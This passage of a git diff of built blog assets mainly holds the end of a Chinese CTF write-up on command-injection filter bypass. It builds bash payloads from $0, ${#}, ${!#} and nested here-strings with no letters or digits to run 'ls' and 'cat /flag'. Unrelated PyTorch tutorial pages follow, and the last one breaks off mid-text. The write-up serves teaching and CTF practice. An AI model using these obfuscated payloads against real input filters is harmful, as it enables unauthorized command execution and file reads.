\n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20240607201706852",src:s(24583).A+"",width:"1316",height:"248"})}),"\n",(0,c.jsxs)(n.p,{children:["\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u53ea\u89e3\u6790\u4e86\u4e00\u5c42\u89e3\u6790\u5230",(0,c.jsx)(n.code,{children:"$'\\154\\163'"}),"\u5c31\u89e3\u6790\u4e0d\u4e0b\u53bb\u4e86\uff0c\u60f3\u8981\u5b83\u7ee7\u7eed\u89e3\u6790\uff0c\u6211\u4eec\u4e0d\u96be\u60f3\u5230Linux\u91cc\u7684eval\u51fd\u6570\uff1a"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"\u279c / eval $\\'\\\\$(($((1<<1))#10011010))\\\\$(($((1<<1))#10100011))\\'\nbin boot core dev etc flag home lib lib32 lib64 libx32 lost+found media mnt opt proc root run\tsbin snap srv sys tmp tmp.txt tpdata usr var www\n\u279c /\n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20240607202025621",src:s(75886).A+"",width:"2600",height:"158"})}),"\n",(0,c.jsxs)(n.p,{children:["\u4f46\u53ef\u60dc\u6211\u4eec\u662f\u4e0d\u80fd\u4f7f\u7528\u5b83\u7684\uff0c\u6240\u4ee5\u8fd8\u662f\u5f97\u8001\u8001\u5b9e\u5b9e\u7684\u7528",(0,c.jsx)(n.code,{children:"1"}),"\u6216\u8005",(0,c.jsx)(n.code,{children:"0"}),"\u6784\u9020\uff0c\u8fd9\u91cc\u6211\u4eec\u53ef\u4ee5\u60f3\u5230bash\u91cc\u7684\u4e00\u79cd\u8bed\u6cd5\uff1a",(0,c.jsx)(n.code,{children:'command [args] <<<["]$word["]'}),"\uff0c\u5728\u8fd9\u79cd\u8bed\u6cd5\u4e0b",(0,c.jsx)(n.code,{children:"$word"}),"\u4f1a\u5c55\u5f00\u5e76\u4f5c\u4e3a",(0,c.jsx)(n.code,{children:"command"}),"\u7684",(0,c.jsx)(n.code,{children:"stdin"}),"\uff0c\u4ee5\u6b64\u6765\u7ee7\u7eed\u6267\u884c\u547d\u4ee4\uff1a"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"\u279c / bash<<<$\\'\\\\$(($((1<<1))#10011010))\\\\$(($((1<<1))#10100011))\\'\nbin boot core dev etc flag home lib lib32 lib64 libx32 lost+found media mnt opt proc root run\tsbin snap srv sys tmp tmp.txt tpdata usr var www\n\u279c /\n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20240607202145762",src:s(9877).A+"",width:"2614",height:"100"})}),"\n",(0,c.jsxs)(n.p,{children:["\u4f46\u73b0\u5728\u6709\u4e2a\u95ee\u9898\uff0c\u5c31\u662f\u7528\u4ec0\u4e48\u6765\u4ee3\u66ffbash\uff0c\u8fd9\u65f6\u53ef\u4ee5\u60f3\u5230\u6211\u4e4b\u524d\u6587\u7ae0\u91cc\u63d0\u5230\u8fc7\u7684\u4e00\u4e2a\u73af\u5883\u53d8\u91cf",(0,c.jsx)(n.code,{children:"$0"}),"\uff0c\u5b83\u53ef\u4ee5\u8868\u793a\u811a\u672c\u672c\u8eab\u7684\u540d\u5b57\uff0c\u800c\u8fd9\u91cc\u6b63\u662fbash\uff1a"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:'root@racknerd-0f70a9:/# echo $"0"\n0\nroot@racknerd-0f70a9:/#\n'})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20240607202310491",src:s(35088).A+"",width:"2576",height:"172"})}),"\n",(0,c.jsx)(n.p,{children:"\u56e0\u6b64\u6211\u4eec\u4e0d\u96be\u60f3\u51fa\u4e00\u79cd\u6784\u9020\u65b9\u5f0f\u6765\uff1a"}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"root@racknerd-0f70a9:/# $0<<<$\\'\\\\$(($((1<<1))#10011010))\\\\$(($((1<<1))#10100011))\\'\nbin boot core dev etc flag home lib lib32 lib64 libx32 lost+found media mnt opt proc root run\tsbin snap srv sys tmp tmp.txt tpdata usr var www\nroot@racknerd-0f70a9:/#\n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20240607202342270",src:s(30198).A+"",width:"2548",height:"148"})}),"\n",(0,c.jsx)(n.p,{children:"\u6210\u529f\u6267\u884c\uff01\u5047\u5982\u8fd9\u662f\u4e00\u9053CTF\u9898\uff0c\u6211\u4eec\u5c31\u8be5\u60f3\u60f3\u600e\u4e48\u6267\u884ccat /flag\u4e86\uff0c\u4f60\u60f3\u5230\u7684payload\u53ef\u80fd\u662f\uff1a"}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"$0<<<$\\'\\\\$(($((1<<1))#10001111))\\\\$(($((1<<1))#10001101))\\\\$(($((1<<1))#10100100))\\\\$(($((1<<1))#101000))\\\\$(($((1<<1))#111001))\\\\$(($((1<<1))#10010010))\\\\$(($((1<<1))#10011010))\\\\$(($((1<<1))#10001101))\\\\$(($((1<<1))#10010011))\\'\n"})}),"\n",(0,c.jsxs)(n.p,{children:["bash\u4f1a\u544a\u8bc9\u4f60\u4e0d\u5b58\u5728",(0,c.jsx)(n.code,{children:"cat /flag"}),"\u8fd9\u79cd\u6587\u4ef6\u6216\u8005\u76ee\u5f55\uff0c\u5f88\u660e\u663e\uff0cbash\u662f\u628a\u5b83\u5f53\u4f5c\u4e00\u4e2a\u6574\u4f53\u4e86\uff0c\u5e76\u6ca1\u6709\u6709\u6548\u7684\u4ee5\u7a7a\u683c\u4f5c\u4e3a\u5206\u5272\uff0c\u8ba9cat\u4f5c\u4e3a\u547d\u4ee4\uff0c/flag\u4f5c\u4e3a\u53c2\u6570\uff0c\u5728ctfshow\u7684\u6781\u9650\u547d\u4ee4\u6267\u884c\u9898\u76ee\u91ccg4\u5e08\u5085\u7ed9\u51fa\u4e86\u4e00\u79cd\u89e3\u51b3\u8fd9\u79cd\u95ee\u9898\u7684\u65b9\u6cd5\u2014\u2014\u901a\u8fc7\u4e24\u6b21here-strings\u7684\u65b9\u6cd5\u6765\u89e3\u6790\u590d\u6742\u7684\u5e26\u53c2\u6570\u547d\u4ee4\uff0c\u4e5f\u5c31\u662f\u8bf4\u6211\u4eec\u53ef\u4ee5\u628apayload\u6539\u6210\uff1a"]}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20240609110358501",src:s(68610).A+"",width:"2970",height:"116"})}),"\n",(0,c.jsx)(n.p,{children:"\u6267\u884c\u6210\u529f\uff0c\u6211\u4eec\u62ff\u5230\u4e86flag\uff0c\u4f46\u53ef\u4ee5\u770b\u5230\u8fd9\u79cd\u6784\u9020\u65b9\u5f0f\u4e0d\u591f\u6781\u9650\uff0c\u91cc\u9762\u4e0d\u4f46\u51fa\u73b00\u66f4\u51fa\u73b0\u4e861\uff0c\u4e0b\u9762\uff0c\u6211\u4eec\u5f00\u59cb\u6784\u9020\u771f\u6b63\u7684\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4\u3002"}),"\n",(0,c.jsx)(n.h2,{id:"\u5229\u7528\u6784\u9020",children:"\u5229\u7528$#\u6784\u9020"}),"\n",(0,c.jsxs)(n.p,{children:["\u5728\u4e4b\u524d\u90a3\u7bc7\u6587\u7ae0\u91cc\u6211\u4e5f\u63d0\u5230\u8fc7",(0,c.jsx)(n.code,{children:"$#"}),"\u8fd9\u4e2a\u53d8\u91cf\uff0c\u5b83\u53ef\u4ee5\u8868\u793a#\u811a\u672c\u540e\u6240\u8f93\u5165\u7684\u5b57\u7b26\u4e32\u4e2a\u6570\uff1a"]}),"\n",(0,c.jsxs)(n.p,{children:["\u5982\u679c",(0,c.jsx)(n.code,{children:"#"}),"\u540e\u9762\u5565\u4e5f\u6ca1\u6709\u5b83\u5c31\u662f",(0,c.jsx)(n.code,{children:"0"}),"\uff0c\u6709\u4e00\u4e2a\u5b57\u7b26\u4e32\u6bd4\u5982",(0,c.jsx)(n.code,{children:"#"}),"\u5c31\u53d8\u6210\u4e86",(0,c.jsx)(n.code,{children:"1"}),"\uff0c\u4f3c\u4e4e\u73b0\u5728\u6211\u4eec\u53ea\u8981\u628a",(0,c.jsx)(n.code,{children:"1"}),"\u7528",(0,c.jsx)(n.code,{children:"${##}"}),"\u66ff\u6362\uff0c",(0,c.jsx)(n.code,{children:"0"}),"\u7528",(0,c.jsx)(n.code,{children:"${#}"}),"\u66ff\u6362\u5373\u53ef\uff1a"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"root@lavm-cobc2qtifw:/# $${#}<<<$${#}\\<\\<\\<\\$\\'\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\\'\n65523{#}: command not found\n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20240609110839466",src:s(24026).A+"",width:"3000",height:"174"})}),"\n",(0,c.jsxs)(n.p,{children:["\u53ef\u60dc\u8fd9\u79cd\u6267\u884c\u65b9\u6cd5\u662f\u4e0d\u884c\u7684\uff0c\u56e0\u4e3a\u867d\u7136",(0,c.jsx)(n.code,{children:"$0"}),"\u8868\u793abash\uff0c",(0,c.jsx)(n.code,{children:"${#}"}),"\u8868\u793a0\uff0c\u4f46\u628a\u5b83\u4eec\u62fc\u8d77\u6765\u5e76\u4e0d\u8868\u793abash\uff0c\u8fd9\u91cc",(0,c.jsx)(n.code,{children:"$$"}),"\u76f4\u63a5\u6267\u884c\u4e86\uff0c\u610f\u601d\u662f\u811a\u672c\u8fd0\u884c\u7684\u5f53\u524d\u8fdb\u7a0bID\u53f7\u3002\u4e0b\u4e00\u6b65\u4f60\u53ef\u80fd\u4f1a\u60f3\u5230linux\u91cc\u7684\u5b57\u7b26\u4e32\u62fc\u63a5\uff0c\u4f46\u8fd9\u79cd\u62fc\u63a5\u4e5f\u53ea\u4f1a\u89e3\u6790\u7b2c\u4e00\u5c42\uff0c\u4e0d\u4f1a\u89e3\u6790\u5230\u6700\u540e\uff1a"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:'__="$""${#}";echo ${__};\n'})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20240609111007447",src:s(49561).A+"",width:"2506",height:"104"})}),"\n",(0,c.jsxs)(n.p,{children:["\u56e0\u6b64\u7406\u8bba\u4e0a\u6211\u4eec\u53ea\u8981\u627e\u5230\u4e00\u4e2a\u503c\u4e3a\u96f6\u7684\u53d8\u91cf\uff0c\u7136\u540e\u5c31\u53ef\u4ee5\u7528\u8fd9\u79cd\u65b9\u6cd5\u8fdb\u884c\u53d8\u91cf\u66ff\u6362\u5f97\u5230",(0,c.jsx)(n.code,{children:"$0"}),"\uff0c\u5e76\u4e14\u8fd8\u80fd\u6210\u529f\u89e3\u6790\uff0c\u8fd9\u65f6\u6211\u4eec\u5f88\u5bb9\u6613\u60f3\u5230\u521a\u521a\u4f7f\u7528\u7684",(0,c.jsx)(n.code,{children:"${#}"}),"\uff0c\u6bd5\u7adf\u5b83\u7684\u503c\u5c31\u662f\u96f6\u561b\uff1a"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"root@lavm-cobc2qtifw:/# echo ${!#}\nbash\nroot@lavm-cobc2qtifw:/#\n"})}),"\n",(0,c.jsx)(n.p,{children:"\u53ef\u4ee5\u770b\u5230\u786e\u5b9e\u80fd\u5f97\u5230bash\uff0c\u6211\u4eec\u518d\u6b21\u66ff\u6362\u56de\u53bb\uff0c\u53ef\u4ee5\u5f97\u5230\u65b0payload\uff1a"}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"root@lavm-cobc2qtifw:/# ${!#}<<<${!#}\\<\\<\\<\\$\\'\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\\'\nflag{1234}\nroot@lavm-cobc2qtifw:/#\n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20240609111303604",src:s(81281).A+"",width:"3002",height:"158"})})]})}function h(e={}){const{wrapper:n}={...(0,$.R)(),...e.components};return n?(0,c.jsx)(n,{...e,children:(0,c.jsx)(a,{...e})}):a(e)}},81281:(e,n,s)=>{s.d(n,{A:()=>d});const d=s.p+"assets/images/image-20240609111303604-4fcdef97742f57f2916bae07b987d094.png"},94825:(e,n,s)=>{s.d(n,{A:()=>d});const d=s.p+"assets/images/image-20240607201034726-3b4b3cb270a6023685eed7db1f1a6323.png"}}]); \ No newline at end of file diff --git a/assets/js/dfa667f0.1db778fa.js b/assets/js/dfa667f0.1db778fa.js new file mode 100644 index 0000000..eca9b55 --- /dev/null +++ b/assets/js/dfa667f0.1db778fa.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5767],{28453:(e,t,n)=>{n.d(t,{R:()=>i,x:()=>c});var r=n(96540);const s={},l=r.createContext(s);function i(e){const t=r.useContext(l);return r.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function c(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:i(e.components),r.createElement(l.Provider,{value:t},e.children)}},95839:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>o,contentTitle:()=>c,default:()=>a,frontMatter:()=>i,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/README","title":"\u7b2c\u516d\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6"},"next":{"title":"6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570"}}');var s=n(74848),l=n(28453);const i={},c="\u7b2c\u516d\u7ae0",o={},d=[];function h(e){const t={code:"code",h1:"h1",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"\u7b2c\u516d\u7ae0",children:"\u7b2c\u516d\u7ae0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:20"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 18:21:32"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"\u7b2c\u516d\u7ae0pytorch\u8fdb\u9636\u8bad\u7ec3\u6280\u5de7",children:"\u7b2c\u516d\u7ae0\uff1aPyTorch\u8fdb\u9636\u8bad\u7ec3\u6280\u5de7"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-{toctree}",children:":maxdepth: 2\n6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570\n6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387\n6.3 \u6a21\u578b\u5fae\u8c03-torchvision\n6.3 \u6a21\u578b\u5fae\u8c03-timm\n6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3\n6.5 \u6570\u636e\u589e\u5f3a-imgaug\n6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2\n"})})]})}function a(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/assets/js/e0f52fd9.46da40e3.js b/assets/js/e0f52fd9.46da40e3.js new file mode 100644 index 0000000..e182f3e --- /dev/null +++ b/assets/js/e0f52fd9.46da40e3.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7710],{28453:(e,n,r)=>{r.d(n,{R:()=>l,x:()=>i});var t=r(96540);const a={},s=t.createContext(a);function l(e){const n=t.useContext(s);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(a):e.components||a:l(e.components),t.createElement(s.Provider,{value:n},e.children)}},96558:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>d,contentTitle:()=>i,default:()=>c,frontMatter:()=>l,metadata:()=>t,toc:()=>p});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2","title":"6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"6.5 \u6570\u636e\u589e\u5f3a-imgaug.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.5 \u6570\u636e\u589e\u5f3a-imgaug"},"next":{"title":"\u7b2c\u4e03\u7ae0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/"}}');var a=r(74848),s=r(28453);const l={},i="6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2.md",d={},p=[{value:"6.6.1 argparse\u7b80\u4ecb",id:"661-argparse\u7b80\u4ecb",level:2},{value:"6.6.2 argparse\u7684\u4f7f\u7528",id:"662-argparse\u7684\u4f7f\u7528",level:2},{value:"6.6.3 \u66f4\u52a0\u9ad8\u6548\u4f7f\u7528argparse\u4fee\u6539\u8d85\u53c2\u6570",id:"663-\u66f4\u52a0\u9ad8\u6548\u4f7f\u7528argparse\u4fee\u6539\u8d85\u53c2\u6570",level:2},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2}];function o(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,s.R)(),...e.components};return(0,a.jsxs)(a.Fragment,{children:[(0,a.jsx)(n.header,{children:(0,a.jsx)(n.h1,{id:"66-\u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2md",children:"6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,a.jsxs)(n.table,{children:[(0,a.jsx)(n.thead,{children:(0,a.jsxs)(n.tr,{children:[(0,a.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,a.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,a.jsx)(n.tbody,{children:(0,a.jsxs)(n.tr,{children:[(0,a.jsx)(n.td,{style:{textAlign:"left"},children:(0,a.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,a.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:21"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,a.jsxs)(n.table,{children:[(0,a.jsx)(n.thead,{children:(0,a.jsxs)(n.tr,{children:[(0,a.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,a.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,a.jsx)(n.tbody,{children:(0,a.jsxs)(n.tr,{children:[(0,a.jsx)(n.td,{style:{textAlign:"left"},children:(0,a.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,a.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,a.jsx)(n.h1,{id:"66-\u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2",children:"6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2"}),"\n",(0,a.jsx)(n.p,{children:"\u5728\u6df1\u5ea6\u5b66\u4e60\u4e2d\u65f6\uff0c\u8d85\u53c2\u6570\u7684\u4fee\u6539\u548c\u4fdd\u5b58\u662f\u975e\u5e38\u91cd\u8981\u7684\u4e00\u6b65\uff0c\u5c24\u5176\u662f\u5f53\u6211\u4eec\u5728\u670d\u52a1\u5668\u4e0a\u8dd1\u6211\u4eec\u7684\u6a21\u578b\u65f6\uff0c\u5982\u4f55\u66f4\u65b9\u4fbf\u7684\u4fee\u6539\u8d85\u53c2\u6570\u662f\u6211\u4eec\u9700\u8981\u8003\u8651\u7684\u4e00\u4e2a\u95ee\u9898\u3002\u8fd9\u65f6\u5019\uff0c\u8981\u662f\u6709\u4e00\u4e2a\u5e93\u6216\u8005\u51fd\u6570\u53ef\u4ee5\u89e3\u6790\u6211\u4eec\u8f93\u5165\u7684\u547d\u4ee4\u884c\u53c2\u6570\u518d\u4f20\u5165\u6a21\u578b\u7684\u8d85\u53c2\u6570\u4e2d\u8be5\u591a\u597d\u3002\u5230\u5e95\u6709\u6ca1\u6709\u8fd9\u6837\u7684\u4e00\u79cd\u65b9\u6cd5\u5462\uff1f\u7b54\u6848\u662f\u80af\u5b9a\u7684\uff0c\u8fd9\u4e2a\u5c31\u662f Python \u6807\u51c6\u5e93\u7684\u4e00\u90e8\u5206\uff1aArgparse\u3002\u90a3\u4e48\u4e0b\u9762\u8ba9\u6211\u4eec\u770b\u770b\u4ed6\u662f\u591a\u4e48\u65b9\u4fbf\u3002\u901a\u8fc7\u672c\u8282\u8bfe\uff0c\u60a8\u5c06\u4f1a\u6536\u83b7\u4ee5\u4e0b\u5185\u5bb9"}),"\n",(0,a.jsxs)(n.ul,{children:["\n",(0,a.jsx)(n.li,{children:"argparse\u7684\u7b80\u4ecb"}),"\n",(0,a.jsx)(n.li,{children:"argparse\u7684\u4f7f\u7528"}),"\n",(0,a.jsx)(n.li,{children:"\u5982\u4f55\u4f7f\u7528argparse\u4fee\u6539\u8d85\u53c2\u6570"}),"\n"]}),"\n",(0,a.jsx)(n.h2,{id:"661-argparse\u7b80\u4ecb",children:"6.6.1 argparse\u7b80\u4ecb"}),"\n",(0,a.jsxs)(n.p,{children:["argsparse\u662fpython\u7684\u547d\u4ee4\u884c\u89e3\u6790\u7684\u6807\u51c6\u6a21\u5757\uff0c\u5185\u7f6e\u4e8epython\uff0c\u4e0d\u9700\u8981\u5b89\u88c5\u3002\u8fd9\u4e2a\u5e93\u53ef\u4ee5\u8ba9\u6211\u4eec\u76f4\u63a5\u5728\u547d\u4ee4\u884c\u4e2d\u5c31\u53ef\u4ee5\u5411\u7a0b\u5e8f\u4e2d\u4f20\u5165\u53c2\u6570\u3002\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528",(0,a.jsx)(n.code,{children:"python file.py"}),"\u6765\u8fd0\u884cpython\u6587\u4ef6\u3002\u800cargparse\u7684\u4f5c\u7528\u5c31\u662f\u5c06\u547d\u4ee4\u884c\u4f20\u5165\u7684\u5176\u4ed6\u53c2\u6570\u8fdb\u884c\u89e3\u6790\u3001\u4fdd\u5b58\u548c\u4f7f\u7528\u3002\u5728\u4f7f\u7528argparse\u540e\uff0c\u6211\u4eec\u5728\u547d\u4ee4\u884c\u8f93\u5165\u7684\u53c2\u6570\u5c31\u53ef\u4ee5\u4ee5\u8fd9\u79cd\u5f62\u5f0f",(0,a.jsx)(n.code,{children:"python file.py --lr 1e-4 --batch_size 32"}),"\u6765\u5b8c\u6210\u5bf9\u5e38\u89c1\u8d85\u53c2\u6570\u7684\u8bbe\u7f6e\u3002"]}),"\n",(0,a.jsx)(n.h2,{id:"662-argparse\u7684\u4f7f\u7528",children:"6.6.2 